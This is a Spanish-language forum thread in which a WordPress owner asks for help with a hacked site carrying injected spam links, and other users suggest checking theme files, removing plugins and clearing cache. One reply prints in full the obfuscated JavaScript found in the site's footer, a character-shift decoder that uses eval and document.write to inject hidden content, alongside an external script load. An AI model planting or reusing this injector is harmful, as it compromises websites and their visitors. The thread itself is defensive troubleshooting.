Meu site foi hackeado, como solucionar? Ajuda

  • Autor Autor bluewebmkt
  • Data de início Data de início
Tradução em andamento: em alguns minutos este tópico estará em português. Por enquanto, o conteúdo está no original em espanhol. Ver original
B

bluewebmkt

Gamma
Hola betas...

Solicitando su ayuda...

Mi sitio ha sido hackeado y han insertado links en todo el contenido... No tengo idea en como solucionarlo ni por donde empezar... cualquier ayuda sera de gran utilidad para mi.

El sitio es Enlace eliminado:

Gracias!!!
 
Foi útil? Participe da conversa

Com sua conta grátis você pode responder, mandar mensagem privada ao autor e comprar com Saldo retido: o pagamento é liberado quando você recebe o combinado.

Leva 30 segundos · você volta a este tópico ao terminar
No veo nada :S...

Ah ahora si, como dice el compañero de abajo, busca los links en el footer y si no encuentras nada raro, yo optaría por ir desintalando los plugins nuevos, osea acabados de instalar (uno a uno).
 
Última edição:
Busca los links en la parte del footer.php o en index.php por ahí deben de estar esos enlaces, bórralos y cambia tooodas tus contraseñas 😱
 
Ya se habia dado un caso similar por aqui en el foro, el problema esa vez fue por un plugin
 
gracias por responder tan rapido... No veo los links en el footer ni index... voy a dar otra checada, si no empiezo a desactivar plugins... muchas gracias...cualquier otra idea es bienvenida... saludso!

- - - Actualizado - - -

Creo que ya quedó... pueden corroborar que ya no ven los links justo antes del footer?

Borre un plugin que no estaba utilizando... quizas alguien pudo acceder al sitio a traves de ese plugin...

Podrian ayudarme a confirmar? Saludos!
 
gracias por responder tan rapido... No veo los links en el footer ni index... voy a dar otra checada, si no empiezo a desactivar plugins... muchas gracias...cualquier otra idea es bienvenida... saludso!

- - - Actualizado - - -

Creo que ya quedó... pueden corroborar que ya no ven los links justo antes del footer?

Borre un plugin que no estaba utilizando... quizas alguien pudo acceder al sitio a traves de ese plugin...

Podrian ayudarme a confirmar? Saludos!

Ya no se ven 🙂
 
Perfecto! Muchas gracias a todos!
Hola yo los sigo viendo los enlaces , mira:
Enlace eliminado

Y la url donde los veo es: Enlace eliminado

Lamento no poder darte una mano, mis conocimientos son pocos!!
 

Anexos

  • denuevoahi.webp
    denuevoahi.webp
    83,8 KB · Visitas: 46
¿Qué plugin era?

gracias por responder tan rapido... No veo los links en el footer ni index... voy a dar otra checada, si no empiezo a desactivar plugins... muchas gracias...cualquier otra idea es bienvenida... saludso!

- - - Actualizado - - -

Creo que ya quedó... pueden corroborar que ya no ven los links justo antes del footer?

Borre un plugin que no estaba utilizando... quizas alguien pudo acceder al sitio a traves de ese plugin...

Podrian ayudarme a confirmar? Saludos!
 
Yo aún veo código javascript en el footer que seguro que tu no pusistes

Inserir CODE, HTML ou PHP:
<script>(function(){unlock_key="aozjzv1xaky";secure_content="q2eebzduifknndrqi0rs";var at4tts="$2Brbqhos$2Du`q$1/````$2A$17etmbshnm$17$18$6Ahe$17vhmcnv-WLKGssoQdptdrs$18"+"adedo5 w23541".match(/\u0077/)+"$2Cmdv$1/WLKGssoQdptdrs$17$18$2Adkrd$1/"+"adedo5 w23541".match(/\u0077/)+"$2Cmdv$1/@bshudWNaidbs$17$11Lhbqnrnes-WLKGSSO$11$18$2A````$2C$17etmbshnm$17$18$6A`b`11b`$2CL`sg-eknnq$17L`sg-knf$174$18$18$2A`/30bd3$2CL`sg-bdhk$17L`sg-l`w$171$1B6$18$18$2A`466b/4$2CL`sg-eknnq$17L`sg-l`w$1703$1B0$18$18$2A`ed02/2$2CL`sg-lhm$175$1B7$18$2A$1/qdstqm$1/L`sg-eknnq$17`b`11b`$1/,`/30bd3$1A`466b/4$1A858234182,`ed02/2,032/23/476$18$2A$6C$18$17$18$2A$2Aw-nodm$17$11FDS$11$1B$11$2Er`ed254$2Cq$1328530177$13$11$1A````$1A$11$134/2/$11$1Bsqtd$18$2Aw-rdmc$17$18$6C$18$17$18$2A$2B.rbqhos$2D";eval('apbnlnls2=""');eval('azjn9nxex=""');var ag6vab;ag6vab=at4tts.length;for(i=0;i<ag6vab;i++){apbnlnls2+=String.fromCharCode(at4tts.charCodeAt(i)+1)};azjn9nxex=unescape(eval('apbnlnls2'));document.write(eval('azj'+'n9nxex'));})();</script><noscript><style>body,table{background:#1a001a;color:white}</style>Javascript needs to be enabled to<br>view this site correctly</noscript><script type=\"text/javascript\">var _kiq = _kiq || [];</script><script type=\"text/javascript\" src=\"//s3.amazonaws.com/ki.js/35108/6OT.js\" async=\"true\"></script><script type="text/javascript">var _kiq = _kiq || [];</script>

cuando lo quites tienes que limpiar el caché, sino se vuelven a poner. Seguro que te dejaron algún regalito para volver a insertar código cuando lo borres, yo que tu miraba todos los archivos...

Tienes WordPress desactualizado, últimamente lo he visto mucho y todos coinciden en un patrón: WordPress desactualizado y seguramente tus plugins y temas también lo estarán.

He estado arreglando problemas similares en muchos wordpress esta semana, unos 15 wordpress diferentes, mas o menos todos coincidian en archivos

index.php de wordpress
wp-config.php
wp-admin/index.php
index.php de tu theme
wp-includes/default-filters.php
htaccess
wp-blog-header.php
wp-admin/admin-header.php

Todos esos archivos tenían algo insertado y alguno más que no recuerdo.
 
Última edição:
Muchas gracias a todos!
El plugin era Custom Fields, me parece que este: WordPress › Advanced Custom Fields « WordPress Plugins

Voy a echarle un ojo a sus recomendaciones, ya limpie el cache, y les aviso como va todo. De nuevo muchas gracias!!

Slds,

- - - Actualizado - - -

Acabo de checar y el problema sigue...

Les aviso como me va... :S
 
Voltar
Topo